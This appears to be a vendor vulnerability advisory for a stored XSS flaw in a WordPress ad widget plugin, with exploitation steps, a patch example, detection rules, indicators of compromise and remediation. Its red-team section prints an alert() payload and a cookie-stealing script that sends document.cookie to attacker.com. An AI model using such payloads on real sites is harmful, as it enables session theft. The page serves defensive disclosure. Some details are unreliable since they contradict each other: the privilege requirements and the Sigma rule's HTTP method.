CVE-2024-33696
Executive Summary
CVE-2024-33696 is a Stored Cross-Site Scripting (XSS) vulnerability in the Broadstreet XPRESS WordPress Ad Widget plugin, affecting versions up to and including 2.20.0. This vulnerability allows an attacker to inject malicious scripts into the WordPress ad widget, which are then stored and executed in the browsers of any user viewing the affected page. The vulnerability arises from improper neutralization of user-supplied input during web page generation. Given the plugin's purpose of displaying advertisements, the injected script could be triggered on high-traffic pages, leading to widespread impact. The CVSS score of 5.9 (Medium) reflects the need for user interaction and the potential for partial confidentiality, integrity, and availability impacts. As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve Apache or Nginx server software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are affected. The plugin is not distributed through NPM, PyPI, Go, or Ruby package managers. The lack of a patch or official advisory from the vendor increases the supply chain risk, as users must rely on manual mitigation or removal of the plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
- Privileges Required (PR): None - The attacker does not need any authentication to exploit the vulnerability.
- User Interaction (UI): Required - The victim must interact with the malicious content (e.g., view a page with the injected script).
- Scope (S): Changed - The vulnerability can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
- Confidentiality (C): Low - Limited information disclosure is possible.
- Integrity (I): Low - Limited ability to modify data.
- Availability (A): Low - Limited impact on service availability.
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the stored nature of the XSS means that a single injection can affect multiple users over time. The lack of a patch increases the urgency for mitigation.
Deep Dive & Mechanics
The vulnerability exists in the Broadstreet XPRESS WordPress Ad Widget plugin, which allows site administrators to embed advertisements via a widget. The plugin fails to properly sanitize user-supplied input before rendering it in the widget output. Specifically, the plugin does not neutralize HTML or JavaScript code when processing ad parameters, such as ad titles, descriptions, or custom fields.
Attack Flow:
- An attacker with access to the WordPress admin panel (e.g., a subscriber or contributor role) or through a cross-site request forgery (CSRF) attack, navigates to the widget configuration page.
- The attacker injects a malicious JavaScript payload into a text field that is not properly sanitized, such as the ad title or description.
- The plugin stores the payload in the WordPress database.
- When any user visits a page that displays the affected widget, the stored payload is executed in the user's browser.
- The malicious script can then steal cookies, redirect users, deface the page, or perform other actions.
Root Cause: The plugin uses echo or print functions to output user-supplied data without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows raw HTML and JavaScript to be rendered.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is assumed to be present in all versions up to 2.20.0. The following is a hypothetical example of the vulnerable code and a patched version.
Vulnerable Code (PHP):
// In the widget's widget() method
echo '<div class="broadstreet-ad">' . $instance['ad_title'] . '</div>';
Patched Code (PHP):
// Properly escape output
echo '<div class="broadstreet-ad">' . esc_html( $instance['ad_title'] ) . '</div>';
The patched version uses esc_html() to neutralize any HTML or JavaScript, preventing XSS.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Access to the WordPress admin panel with at least Contributor-level privileges, or ability to trick an admin into performing actions via CSRF.
- The Broadstreet XPRESS plugin installed and active.
Exploitation Steps:
- Log in to WordPress as a user with widget editing capabilities.
- Navigate to Appearance > Widgets.
- Add or edit a Broadstreet XPRESS Ad Widget.
- In the "Ad Title" field, enter the following payload:
<script>alert('XSS')</script> - Save the widget.
- Visit any page that displays the widget. The JavaScript will execute.
Advanced Payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team (Defender)
Detection Steps:
- Monitor WordPress admin logs for unusual widget modifications.
- Use a web application firewall (WAF) to block common XSS patterns.
- Regularly scan the WordPress database for suspicious entries in the
wp_optionstable (where widget settings are stored). - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Lab Setup:
- Install a local WordPress instance (e.g., using XAMPP or Docker).
- Install the Broadstreet XPRESS plugin version 2.20.0.
- Create a test page with the ad widget.
- Perform the exploitation steps to verify the vulnerability.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing cookie data.
- Unusual JavaScript in HTTP responses from WordPress pages.
- Host IOCs:
- Modified widget settings in the WordPress database (
wp_optionstable, option namewidget_broadstreet_ad_widget). - Presence of
<script>tags in widget text fields.
- Modified widget settings in the WordPress database (
- File IOCs:
- Modified plugin files (though unlikely, as the vulnerability is in stored data, not file code).
Example Database IOC:
SELECT * FROM wp_options WHERE option_name = 'widget_broadstreet_ad_widget';
Look for entries containing <script> tags.
Detection Engineering
YARA Rule
rule CVE_2024_33696_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Broadstreet XPRESS WordPress Ad Widget"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-33696"
strings:
$payload1 = /<script[^>]*>.*?<\/script>/is
$payload2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
$payload3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: CVE-2024-33696 - Stored XSS in Broadstreet XPRESS WordPress Ad Widget
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via the Broadstreet XPRESS WordPress Ad Widget plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http.method: GET
http.url|contains: '/wp-admin/widgets.php'
http.request_body|contains:
- '<script'
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in widget fields (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-33696 - Stored XSS in Broadstreet XPRESS WordPress Ad Widget"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/widgets.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the Broadstreet XPRESS WordPress Ad Widget plugin until a patch is released.
- Remove malicious widgets: Check the WordPress database for any injected scripts and remove them.
- Change admin credentials: If an attacker gained access, reset all admin passwords.
Long-term Mitigation:
- Apply input validation: Use WordPress escaping functions (
esc_html(),esc_attr(),wp_kses_post()) on all user-supplied data. - Implement CSP: Add a Content Security Policy header to restrict script execution.
- Monitor for updates: Watch the WordPress plugin repository for a patched version.
- Use a WAF: Deploy a web application firewall to block XSS attempts.
Workaround:
- If the plugin is essential, manually edit the plugin code to add escaping functions (as shown in the patched code example). However, this will be overwritten on plugin updates.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.